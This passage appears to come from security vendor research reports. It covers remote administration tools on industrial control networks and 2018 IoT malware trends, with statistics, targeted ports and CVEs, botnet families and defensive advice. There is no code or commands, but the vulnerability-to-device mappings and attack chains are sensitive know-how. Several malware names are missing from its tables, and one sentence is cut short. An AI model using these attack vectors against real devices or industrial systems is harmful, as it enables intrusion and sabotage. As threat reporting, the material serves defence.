    6. To connect to a computer on the office network from the OT network via HMI and perform various tasks on that computer (access email, access the internet, work with office documents, etc.).

    Some of the scenarios listed above indicate that the use of RATs on the OT network can be explained by operational requirements, which means that giving up the use of RATs would unavoidably entail modifications to work processes. At the same time, it is important to realize that an attack on a poorly protected RAT could easily cause disruptions to the industrial process and any decisions on using RATs on the OT network should be made with this in mind. Tight controls on the use of RATs on the OT network would help to reduce the attack surface and the risk of infection for systems administered remotely.

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    TOP 20 countries by percentage of ICS computers on which RATs were used at least once during the first half of 2018 (to all ICS computers in each country) (download)

    Scenarios of RAT installation on ICS computers

    According to our research, there are three most common scenarios of RAT installation on ICS computers:

    1. Installation of ICS software distribution packages that include RATs (using separate distribution packages or ICS software installers). RATs included in ICS software distribution packages make up 18.6% of all RATs we have identified on ICS computers protected by Kaspersky Lab products.

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    Percentage of RATs bundled with ICS products to all RATs found on ICS computers (download)

    1. Deliberate installation of RATs by personnel or suppliers – network administrators, engineers, operators, or integrator companies. We do not undertake to judge whether these installations are legitimate. Based on our experience of industrial network audits and incident investigation, we can state that many such installations do not comply with the organization’s information security policy and some are installed without the knowledge of respective enterprises’ responsible employees.
    2. Stealthy installation of RATs by malware. An example of this is a recent attack that we have investigated (see below).
    RAT-related threats to ICS

    Threats associated with the use of RATs on industrial networks are not always obvious, nor are the reasons for which RATs are used.

    Most of the RATs we have identified on industrial systems have the following characteristics that significantly reduce the security level of the host system:

    • Elevated privileges – the server part of a RAT is often executed as a service with system privileges, i.e., NT SYSTEM;
    • No support for restricting local access to the system / client activity;
    • Single-factor authentication;
    • No logging of client activity;
    • Vulnerabilities (our report on zero-day vulnerabilities identified in popular RAT systems that are used, among other applications, in products by many ICS vendors, will be published by the end of the year);
    • The use of relay servers (for reverse connections) that enable RATs to bypass NAT and firewall restrictions on the network perimeter.

    The most critical RAT-related problem is the use of elevated privileges and the absence of any means to limit these privileges (or to restrict a remote user’s local access). In practice, this means that if attackers (or malware) gain access to a remote user’s computer, steal authentication data (login/password), hijack an active remote administration session or successfully attack a vulnerability in the RAT’s server part, they will gain unrestricted control of the ICS system. By using relay servers for reverse connections, attackers can also connect to these RATs from anywhere in the world.

    There are also other issues that affect RATs built into ICS software distribution packages:

    • RAT components and distribution packages are rarely updated (even if new versions of ICS distribution packages are released). This makes them more likely to contain vulnerabilities;
    • In the vast majority of cases, the default password is used – it is either hardcoded into the RAT by the ICS software vendor or specified in the documentation as “recommended”.

    RATs are legitimate software tools that are often used on industrial networks, which means it can be extremely difficult to distinguish attacks involving RATs from legitimate activity. In addition, since the information security service and other employees responsible for ICS security are often unaware that a RAT is installed, the configuration of RATs is in most cases not analyzed when auditing the security of an industrial network. This makes it particularly important to control by whom, when and for what purposes RATs are used on the industrial network and to ensure that it is completely impossible to use RATs without the knowledge of employees responsible for the OT network’s information security.

    Attacks of threat actors involving RATs

    Everything written above applies to potential threats associated with the use of RATs.

    Based on our analysis of KSN statistics, we were able to identify a number of attacks and malware infection attempts involving RATs installed on ICS computers. In most cases, attacks were based on the following scenarios (in the descending order of attack incidence):

    1. A brute force network attack from the local network or the internet designed to crack logins/passwords;
    2. An attacker or malware using a RAT to download and execute malware using stolen or cracked authentication credentials;
    3. A remote user (probably a legitimate user deceived by attackers) using a RAT to download a Trojan to an ICS computer and then executing it; the Trojan can be disguised as an office document, non-industrial software (a game, multimedia software, etc.), a crack/keygen for office, application or industrial software, etc.;
    4. A network attack from the local network or the internet on the server part of the RAT using exploits.

    Brute force type network attacks (designed to crack logins/passwords) are the most common: their implementation does not require any special knowledge or skills and the software used in such attacks is publicly available.

    It cannot be determined based on available data who connects to a RAT’s server part installed on an ICS computer – a legitimate user, an attacker or malware – or why. Consequently, we can only guess whether this activity represents a targeted attack, sabotage attempts or a client’s error.

    Network attacks from the internet were most probably conducted by threat actors using malware, penetration testing tools or botnets.

    Network attacks from the local network could indicate the presence of attackers (possibly including an insider) on the network. Another possibility is that there is a compromised computer on the local network that is either infected with malware or is used by the attacker as a point of presence (if the authentication credentials were compromised earlier).

    Attacks on industrial enterprises using RMS and TeamViewer

    In the first half of 2018, Kaspersky Lab ICS CERT identified a new wave of phishing emails disguised as legitimate commercial offers. Although the attacks targeted primarily industrial companies within the territory of Russia, the same tactics and tools can be used in attacks on industrial companies in any country of the world.

    The malware used in these attacks installs legitimate remote administration software on the system — TeamViewer or Remote Manipulator System/Remote Utilities (RMS). In both cases, a system DLL is replaced with a malicious library to inject malicious code into a legitimate program’s process. This provides the attackers with remote control of the infected systems. Various techniques are used to mask the infection and the activity of the software installed on the system.

    If necessary, the attackers download an additional malware pack to the system, which is specifically tailored to the attack on each individual victim. This set of malware may contain spyware, additional remote administration tools that extend the threat actor’s control of infected systems, malware to exploit vulnerabilities in the operating system and application software, as well as the Mimikatz utility, which makes it possible to obtain account data for Windows accounts.

    According to available data, the attackers’ main goal is to steal money from victim organizations’ accounts, but possible attack scenarios are not limited to the theft of funds. In the process of attacking their targets, the attackers steal sensitive data belonging to target organizations, their partners and customers, carry out surreptitious surveillance of the victim companies’ employees, and record audio and video using devices connected to infected machines. Clearly, on top of the financial losses, these attacks result in leaks of victim organizations’ sensitive data.

    Multiple attacks on an auto manufacturer

    A characteristic example of attacks based on the second scenario was provided by attacks on the industrial network of a motor vehicle manufacturing and service company, in particular, on computers designed to diagnose the engines and onboard systems of trucks and heavy-duty vehicles. Multiple attempts to conduct such attacks were blocked by Kaspersky Lab products.

    A RAT was installed and intermittently used on at least one of the computers in the company’s industrial network. Starting in late 2017, numerous attempts to launch various malicious programs using the RAT were blocked on the computer. Infection attempts were made regularly over a period of several months – 2-3 times a week, at different times of the day. Based in part on other indirect indicators, we believe that RAT authentication data was compromised and used by attackers (or malware) to attack the enterprise’s computers over the internet.

    After gaining access to the potential victim’s infrastructure via the RAT, the attackers kept trying to choose a malicious packer that would enable them to evade antivirus protection.

    The blocked programs included modifications of the malware detected by Kaspersky Lab products as When launched this worm immediately begins to proliferate on the local network using exploits for the MS17-010 vulnerabilities – the same ones that were published by ShadowBrokers in the spring of 2017 and were used in attacks by the infamous WannaCry and ExPetr cryptors.

    The Nymaim Trojan family was also blocked. Representatives of this family are often used to download modifications of botnet agents from the Necus family, which in turn have often been used to infect computers with ransomware from the Locky family.


    Remote administration tools are widely used on industrial networks for ICS monitoring, control and maintenance. The ability to manipulate the ICS remotely significantly reduces maintenance costs, but at the same time, uncontrolled remote access, the inability to provide 100% verification of the remote client’s legitimacy, and the vulnerabilities in RAT code and configuration significantly increase the attack surface. At the same time, RATs, along with other legitimate tools, are increasingly used by attackers to mask malicious activity and make attribution more difficult.

    To reduce the risk of cyberattacks involving RATs, we recommend the following high-priority measures:

    • Audit the use of application and system remote administration tools on the industrial network, such as VNC, RDP, TeamViewer, and RMS / Remote Utilities. Remove all remote administration tools that are not required by the industrial process.
    • Conduct an audit and disable remote administration tools which came with ICS software (refer to the relevant software documentation for detailed instructions), provided that they are not required by the industrial process.
    • Closely monitor and log events for each remote control session required by the industrial process; remote access should be disabled by default and enabled only upon request and only for limited periods of time.

    New trends in the world of IoT threats

    Tue, 09/18/2018 - 06:00

    Cybercriminals’ interest in IoT devices continues to grow: in H1 2018 we picked up three times as many malware samples attacking smart devices as in the whole of 2017. And in 2017 there were ten times more than in 2016. That doesn’t bode well for the years ahead.

    We decided to study what attack vectors are deployed by cybercriminals to infect smart devices, what malware is loaded into the system, and what it means for device owners and victims of freshly armed botnets.

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    Number of malware samples for IoT devices in Kaspersky Lab’s collection, 2016-2018. (download)

    One of the most popular attack and infection vectors against devices remains cracking Telnet passwords. In Q2 2018, there were three times as many such attacks against our honeypots than all other types combined.

    service % of attacks Telnet 75.40% SSH 11.59% other 13.01%

    When it came to downloading malware onto IoT devices, cybercriminals’ preferred option was one of the Mirai family (20.9%).

    # downloaded malware % of attacks 1 Backdoor.Linux.Mirai.c 15.97% 2 Trojan-Downloader.Linux.Hajime.a 5.89% 3 Trojan-Downloader.Linux.NyaDrop.b 3.34% 4 Backdoor.Linux.Mirai.b 2.72% 5 1.94% 6 Trojan-Downloader.Shell.Agent.p 0.38% 7 0.27% 8 Backdoor.Linux.Mirai.n 0.27% 9 0.24% 10 0.20%

    Top 10 malware downloaded onto infected IoT device following a successful Telnet password crack

    And here are the Top 10 countries from which our traps were hit by Telnet password attacks:

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    Geographical distribution of the number of infected devices, Q2 2018. (download)

    As we see, in Q2 2018 the leader by number of unique IP addresses from which Telnet password attacks originated was Brazil (23%). Second place went to China (17%). Russia in our list took 4th place (7%). Overall for the period January 1 – July 2018, our Telnet honeypot registered more than 12 million attacks from 86,560 unique IP addresses, and malware was downloaded from 27,693 unique IP addresses.

    Since some smart device owners change the default Telnet password to one that is more complex, and many gadgets don’t support this protocol at all, cybercriminals are constantly on the lookout for new ways of infection. This is stimulated by the high competition between virus writers, which has led to password bruteforce attacks becoming less effective: in the event of a successful crack, the device password is changed and access to Telnet is blocked.

    An example of the use of “alternative technology” is the Reaper botnet, whose assets at end-2017 numbered about 2 million IoT devices. Instead of bruteforcing Telnet passwords, this botnet exploited known software vulnerabilities:

    Advantages of this distribution method over password cracking:

    • Infection occurs much faster
    • It is much harder to patch a software vulnerability than change a password or disable/block the service

    Although this method is more difficult to implement, it found favor with many virus writers, and it wasn’t long before new Trojans exploiting known vulnerabilities in smart device software started appearing.

    New attacks, old malware

    To see which vulnerabilities are targeted by malware, we analyzed data on attempts to connect to various ports on our traps. This is the picture that emerged for Q2 2018:

    Service Port % of attacks Attack vector Malware families Telnet 23, 2323 82.26% Bruteforce Mirai, Gafgyt SSH 22 11.51% Bruteforce Mirai, Gafgyt Samba 445 2.78% EternalBlue, EternalRed, CVE-2018-7445 – tr-069 7547 0.77% RCE in TR-069 implementation Mirai, Hajime HTTP 80 0.76% Attempts to exploit vulnerabilities in a web server or crack an admin console password – winbox (RouterOS) 8291 0.71% Used for RouterOS (MikroTik) authentication and WinBox-based attacks Hajime Mikrotik http 8080 0.23% RCE in MikroTik RouterOS < 6.38.5 Chimay-Red Hajime MSSQL 1433 0.21% Execution of arbitrary code for certain versions (2000, 2005, 2008); changing administrator password; data theft – GoAhead httpd 81 0.16% RCE in GoAhead IP cameras Persirai, Gafgyt Mikrotik http 8081 0.15% Chimay-Red Hajime Etherium JSON-RPC 8545 0.15% Authorization bypass (CVE-2017-12113)RDP 3389 0.12% Bruteforce – XionMai uc-httpd 8000 0.09% Buffer overflow (CVE-2018-10088) in XionMai uc-httpd 1.0.0 (some Chinese-made devices) Satori MySQL 3306 0.08% Execution of arbitrary code for certain versions (2000, 2005, 2008); changing administrator password; data theft –

    The vast majority of attacks still come from Telnet and SSH password bruteforcing. The third most common are attacks against the SMB service, which provides remote access to files. We haven’t seen IoT malware attacking this service yet. However, some versions of it contain serious known vulnerabilities such as EternalBlue (Windows) and EternalRed (Linux), which were used, for instance, to distribute the infamous Trojan ransomware WannaCry and the Monero cryptocurrency miner EternalMiner.

    Here’s the breakdown of infected IoT devices that attacked our honeypots in Q2 2018:

    Device % of infected devices MikroTik 37.23% TP-Link 9.07% SonicWall 3.74% AV tech 3.17% Vigor 3.15% Ubiquiti 2.80% D-Link 2.49% Cisco 1.40% AirTies 1.25% Cyberoam 1.13% HikVision 1.11% ZTE 0.88% Miele 0.68% Unknown DVR 31.91%

    As can be seen, MikroTik devices running under RouterOS are way out in front. The reason appears to be the Chimay-Red vulnerability. What’s interesting is that our honeypot attackers included 33 Miele dishwashers (0.68% of the total number of attacks). Most likely they were infected through the known (since March 2017) CVE-2017-7240 vulnerability in PST10 WebServer, which is used in their firmware.

    Port 7547

    Attacks against remote device management (TR-069 specification) on port 7547 are highly common. According to Shodan, there are more than 40 million devices in the world with this port open. And that’s despite the vulnerability recently causing the infection of a million Deutsche Telekom routers, not to mention helping to spread the Mirai and Hajime malware families.

    Another type of attack exploits the Chimay-Red vulnerability in MikroTik routers running under RouterOS versions below 6.38.4. In March 2018, it played an active part in distributing Hajime.

    IP cameras

    IP cameras are also on the cybercriminal radar. In March 2017, several major vulnerabilities were detected in the software of GoAhead devices, and a month after information about it was published, there appeared new versions of the Gafgyt and Persirai Trojans exploiting these vulnerabilities. Just one week after these malicious programs were actively distributed, the number of infected devices climbed to 57,000.

    On June 8, 2018, a proof-of-concept was published for the CVE-2018-10088 vulnerability in the XionMai uc-httpd web server, used in some Chinese-made smart devices (for example, KKMoon DVRs). The next day, the number of logged attempts to locate devices using this web server more than tripled. The culprit for this spike in activity was the Satori Trojan, known for previously attacking GPON routers.

    New malware and threats to end users DDoS attacks

    As before, the primary purpose of IoT malware deployment is to perpetrate DDoS attacks. Infected smart devices become part of a botnet that attacks a specific address on command, depriving the host of the ability to correctly handle requests from real users. Such attacks are still deployed by Trojans from the Mirai family and its clones, in particular, Hajime.

    This is perhaps the least harmful scenario for the end user. The worst (and very unlikely) thing that can happen to the owner of the infected device is being blocked by their ISP. And the device can often by “cured” with a simple reboot.

    Cryptocurrency mining

    Another type of payload is linked to cryptocurrencies. For instance, IoT malware can install a miner on an infected device. But given the low processing power of smart devices, the feasibility of such attacks remains in doubt, even despite their potentially large number.

    A more devious and doable method of getting a couple of cryptocoins was invented by the creators of the Satori Trojan. Here, the victim IoT device acts as a kind of key that opens access to a high-performance PC:

    • At the first stage, the attackers try to infect as many routers as possible using known vulnerabilities, in particular:
      • CVE-2014-8361 – RCE in the miniigd SOAP service in Realtek SDK
      • CVE 2017-17215 – RCE in the firmware of Huawei HG532 routers
      • CVE-2018-10561, CVE-2018-10562 – authorization bypass and execution of arbitrary commands on Dasan GPON routers
      • CVE-2018-10088 – buffer overflow in XiongMai uc-httpd 1.0.0 used in the firmware of some routers and other smart devices made by some Chinese manufacturers
    • Using compromised routers and the CVE-2018-1000049 vulnerability in the Claymore Etherium miner remote management tool, they substitute the wallet address for their own.
    Data theft

    The VPNFilter Trojan, detected in May 2018, pursues other goals, above all intercepting infected device traffic, extracting important data from it (user names, passwords, etc.), and sending it to the cybercriminals’ server. Here are the main features of VPNFilter:

    • Modular architecture. The malware creators can fit it out with new functions on the fly. For instance, in early June 2018 a new module was detected able to inject javascript code into intercepted web pages.
    • Reboot resistant. The Trojan writes itself to the standard Linux crontab job scheduler, and can also modify the configuration settings in the non-volatile memory (NVRAM) of the device.
    • Uses TOR for communication with C&C.
    • Able to self-destruct and disable the device. On receiving the command, the Trojan deletes itself, overwrites the critical part of the firmware with garbage data, and then reboots the device.

    The Trojan’s distribution method is still unknown: its code contains no self-propagation mechanisms. However, we are inclined to believe that it exploits known vulnerabilities in device software for infection purposes.

    The very first VPNFilter report spoke of around 500,000 infected devices. Since then, even more have appeared, and the list of manufacturers of vulnerable gadgets has expanded considerably. As of mid-June, it included the following brands:

    • ASUS
    • D-Link
    • Huawei
    • Linksys
    • MikroTik
    • Netgear
    • QNAP
    • TP-Link
    • Ubiquiti
    • Upvel
    • ZTE

    The situation is made worse by the fact that these manufacturers’ devices are used not only in corporate networks, but often as home routers.


    Smart devices are on the rise, with some forecasts suggesting that by 2020 their number will exceed the world’s population several times over. Yet manufacturers still don’t prioritize security: there are no reminders to change the default password during initial setup or notifications about the release of new firmware versions, and the updating process itself can be complex for the average user. This makes IoT devices a prime target for cybercriminals. Easier to infect than PCs, they often play an important role in the home infrastructure: some manage Internet traffic, others shoot video footage, still others control domestic devices (for example, air conditioning).

    Malware for smart devices is increasing not only in quantity, but also quality. More and more exploits are being weaponized by cybercriminals, and infected devices are used to steal personal data and mine cryptocurrencies, on top of traditional DDoS attacks.

    Here are some simple tips to help minimize the risk of smart device infection:

    • Don’t give access to the device from an external network unless absolutely necessary
    • Periodic rebooting will help get rid of malware already installed (although in most cases the risk of reinfection will remain)
    • Regularly check for new firmware versions and update the device
    • Use complex passwords at least 8 characters long, including upper and lower-case letters, numerals, and special characters
    • Change the factory passwords at initial setup (even if the device does not prompt you to do so)
    • Close/block unused ports, if there is such an option. For example, if you don’t connect to the router via Telnet (port TCP:23), it’s a good idea to disable it so as to close off a potential loophole to intruders.